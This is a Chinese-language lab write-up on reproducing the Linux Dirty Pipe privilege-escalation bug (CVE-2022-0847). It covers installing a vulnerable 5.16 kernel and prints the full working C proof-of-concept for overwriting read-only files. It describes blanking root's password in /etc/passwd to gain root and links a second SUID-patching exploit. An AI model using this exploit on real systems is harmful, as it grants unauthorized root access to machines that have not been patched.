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Dirty_pipe复现

简介

攻击者通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”

漏洞编号:CVE-2022-0847

影响版本: Linux内核 5.8 及之后版本

环境配置

Ubuntu20.04默认内核版本是5.4:

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root@ee399f8033c1:/# uname -r
5.4.0-100-generic

我们需要安装5.8及以上的内核,当然直接下载内核版本比较高的发行版也可以,比如kali。

我们可以去Index of /~kernel-ppa/mainline (ubuntu.com)找到我们需要的内核,这里选的5.16的:

下载:

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wget https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.16/amd64/linux-image-unsigned-5.16.0-051600-generic_5.16.0-051600.202201092355_amd64.deb https://kernel.ubuntu.com/~kernel-ppa/mainline/v5.16/amd64/linux-modules-5.16.0-051600-generic_5.16.0-051600.202201092355_amd64.deb

安装:

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dpkg -i linux*.deb

更新grub系统引导并重启:

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update-grub
reboot

image-20220314114059806

POC1

第一个是作者自己发表的:The Dirty Pipe Vulnerability

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/* SPDX-License-Identifier: GPL-2.0 */
/*
 * Copyright 2022 CM4all GmbH / IONOS SE
 *
 * author: Max Kellermann <max.kellermann@ionos.com>
 *
 * Proof-of-concept exploit for the Dirty Pipe
 * vulnerability (CVE-2022-0847) caused by an uninitialized
 * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
 * file contents in the page cache, even if the file is not permitted
 * to be written, immutable or on a read-only mount.
 *
 * This exploit requires Linux 5.8 or later; the code path was made
 * reachable by commit f6dd975583bd ("pipe: merge
 * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
 * there before, it just provided an easy way to exploit it.
 *
 * There are two major limitations of this exploit: the offset cannot
 * be on a page boundary (it needs to write one byte before the offset
 * to add a reference to this page to the pipe), and the write cannot
 * cross a page boundary.
 *
 * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
 *
 * Further explanation: https://dirtypipe.cm4all.com/
 */

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
 * Create a pipe where all "bufs" on the pipe_inode_info ring have the
 * PIPE_BUF_FLAG_CAN_MERGE flag set.
 */
static void prepare_pipe(int p[2])
{
	if (pipe(p)) abort();

	const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
	static char buffer[4096];

	/* fill the pipe completely; each pipe_buffer will now have
	   the PIPE_BUF_FLAG_CAN_MERGE flag */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		write(p[1], buffer, n);
		r -= n;
	}

	/* drain the pipe, freeing all pipe_buffer instances (but
	   leaving the flags initialized) */
	for (unsigned r = pipe_size; r > 0;) {
		unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
		read(p[0], buffer, n);
		r -= n;
	}

	/* the pipe is now empty, and if somebody adds a new
	   pipe_buffer without initializing its "flags", the buffer
	   will be mergeable */
}

int main(int argc, char **argv)
{
	if (argc != 4) {
		fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
		return EXIT_FAILURE;
	}

	/* dumb command-line argument parser */
	const char *const path = argv[1];
	loff_t offset = strtoul(argv[2], NULL, 0);
	const char *const data = argv[3];
	const size_t data_size = strlen(data);

	if (offset % PAGE_SIZE == 0) {
		fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
		return EXIT_FAILURE;
	}

	const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
	const loff_t end_offset = offset + (loff_t)data_size;
	if (end_offset > next_page) {
		fprintf(stderr, "Sorry, cannot write across a page boundary\n");
		return EXIT_FAILURE;
	}

	/* open the input file and validate the specified offset */
	const int fd = open(path, O_RDONLY); // yes, read-only! :-)
	if (fd < 0) {
		perror("open failed");
		return EXIT_FAILURE;
	}

	struct stat st;
	if (fstat(fd, &st)) {
		perror("stat failed");
		return EXIT_FAILURE;
	}

	if (offset > st.st_size) {
		fprintf(stderr, "Offset is not inside the file\n");
		return EXIT_FAILURE;
	}

	if (end_offset > st.st_size) {
		fprintf(stderr, "Sorry, cannot enlarge the file\n");
		return EXIT_FAILURE;
	}

	/* create the pipe with all flags initialized with
	   PIPE_BUF_FLAG_CAN_MERGE */
	int p[2];
	prepare_pipe(p);

	/* splice one byte from before the specified offset into the
	   pipe; this will add a reference to the page cache, but
	   since copy_page_to_iter_pipe() does not initialize the
	   "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
	--offset;
	ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
	if (nbytes < 0) {
		perror("splice failed");
		return EXIT_FAILURE;
	}
	if (nbytes == 0) {
		fprintf(stderr, "short splice\n");
		return EXIT_FAILURE;
	}

	/* the following write will not create a new pipe_buffer, but
	   will instead write into the page cache, because of the
	   PIPE_BUF_FLAG_CAN_MERGE flag */
	nbytes = write(p[1], data, data_size);
	if (nbytes < 0) {
		perror("write failed");
		return EXIT_FAILURE;
	}
	if ((size_t)nbytes < data_size) {
		fprintf(stderr, "short write\n");
		return EXIT_FAILURE;
	}

	printf("It worked!\n");
	return EXIT_SUCCESS;
}

这个poc比较粗糙,需要指定覆盖哪个文件,从第几个字符开始写,写入什么内容,因此我们可以将passwd中root的密码置空,然后再在描述处填充字符,达到提权的目的。

POC2

另一个poc直接修改具有suid的可执行文件,然后执行这个可执行文件提权,最后再把这个文件改回来:https://haxx.in/files/dirtypipez.c

踩坑

刚开始想在docker上复现,拉的是ubuntu:lastest,但是尝试执行dpkg -i linux-*.deb的时候报错:

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dpkg: dependency problems prevent configuration of linux-image-unsigned-5.8.0-050800-generic:
 linux-image-unsigned-5.8.0-050800-generic depends on kmod; however:
  Package kmod is not installed.
 linux-image-unsigned-5.8.0-050800-generic depends on linux-base (>= 4.5ubuntu1~16.04.1); however:
  Package linux-base is not installed.

后面尝试执行update-grub也报错:/usr/sbin/grub-probe: error: failed to get canonical path of 'overlay'

但是看p神的文章就是在docker中复现的,因为对docker没有很深的研究及理解,所以没能解决,等以后有空再填坑吧

参考

https://t.zsxq.com/vJ2zjaI

The Dirty Pipe Vulnerability — The Dirty Pipe Vulnerability documentation (cm4all.com)

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